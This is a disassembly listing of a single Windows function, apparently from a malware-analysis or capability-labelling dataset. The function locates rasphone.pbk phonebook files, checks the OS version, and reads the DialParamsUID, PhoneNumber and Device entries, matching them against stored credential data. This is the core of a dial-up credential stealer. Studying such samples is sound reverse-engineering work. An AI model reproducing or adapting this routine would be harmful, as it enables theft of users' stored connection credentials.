Function at 0x100028df
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c4
push ebx
push esi
push edi
lea eax, [ebp - 0x1bc]
push 0x105
mov edi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea eax, [ebp - 0x1bc]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [edi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x1bc]
push eax
call esi
lea eax, [ebp - 0x1bc]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call esi
push 0
lea eax, [ebp - 0x3c4]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x3c4]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea eax, [ebp - 0x3c4]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x1bc]
add esp, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb4]
push eax
mov dword [ebp - 0xb4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 2
pop esi
cmp dword [ebp - 0xa4], esi
jne 0x100029b5
cmp dword [ebp - 0xb0], 5
jb 0x100029b5
mov ecx, edi
call fcn.10002840
mov ebx, 0x1000
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], esi
pop ecx
mov dword [ebp - 8], eax
mov esi, 0x100
jmp 0x100029d9
mov ebx, 0x1000
push ebx
push 0
push dword [ebp - 0x10]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 8]
add esp, 0xc
push dword [eax]
push ebx
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov eax, ebx
cmp byte [eax], 0
je 0x10002bb3
push ebx
mov ecx, edi
call fcn.10002dad
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x2bc]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x5c4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x6c4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x4c4]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x7c4]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 8]
add esp, 0x3c
push dword [eax]
lea eax, [ebp - 0x2bc]
push esi
push eax
push 0
push str.DialParamsUID
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x10002b07
xor eax, eax
cmp dword [edi + 0x10], eax
mov dword [ebp - 0xc], eax
jle 0x10002b07
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [edi + 0x1c]
push eax
lea eax, [ebp - 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10002ab7
inc dword [ebp - 0xc]
add dword [ebp - 4], 0x301
mov eax, dword [ebp - 0xc]
cmp eax, dword [edi + 0x10]
jl 0x10002a8b
jmp 0x10002b07
mov eax, dword [ebp - 0xc]
mov ecx, dword [edi + 0x1c]
imul eax, eax, 0x301
mov dword [ebp - 4], eax
lea eax, [eax + ecx + 0x200]
push eax
lea eax, [ebp - 0x5c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x100]
push eax
lea eax, [ebp - 0x6c4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
mov byte [ecx + eax + 0x300], 1
inc dword [edi + 8]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x4c4]
push esi
push eax
push 0
push str.PhoneNumber
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x7c4]
push esi
push eax
push 0
push str.Device
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x7c4]
mov ecx, edi
push eax
call fcn.10002dad
mov dword [ebp - 4], eax
lea eax, [ebp - 0x5c4]
push eax
mov ecx, edi
call fcn.10002dad
push dword [ebp - 4]
lea ecx, [ebp - 0x4c4]
mov dword [ebp - 0xc], eax
push ecx
lea ecx, [ebp - 0x6c4]
push ecx
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x2bc]
mov ecx, edi
push eax
call fcn.10002bd0
push dword [ebp - 0x14]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0xc]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebx + eax + 1], 0
lea ebx, [ebx + eax + 1]
jne 0x10002a02
add dword [ebp - 8], 4
dec dword [ebp - 0x18]
jne 0x100029d4
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret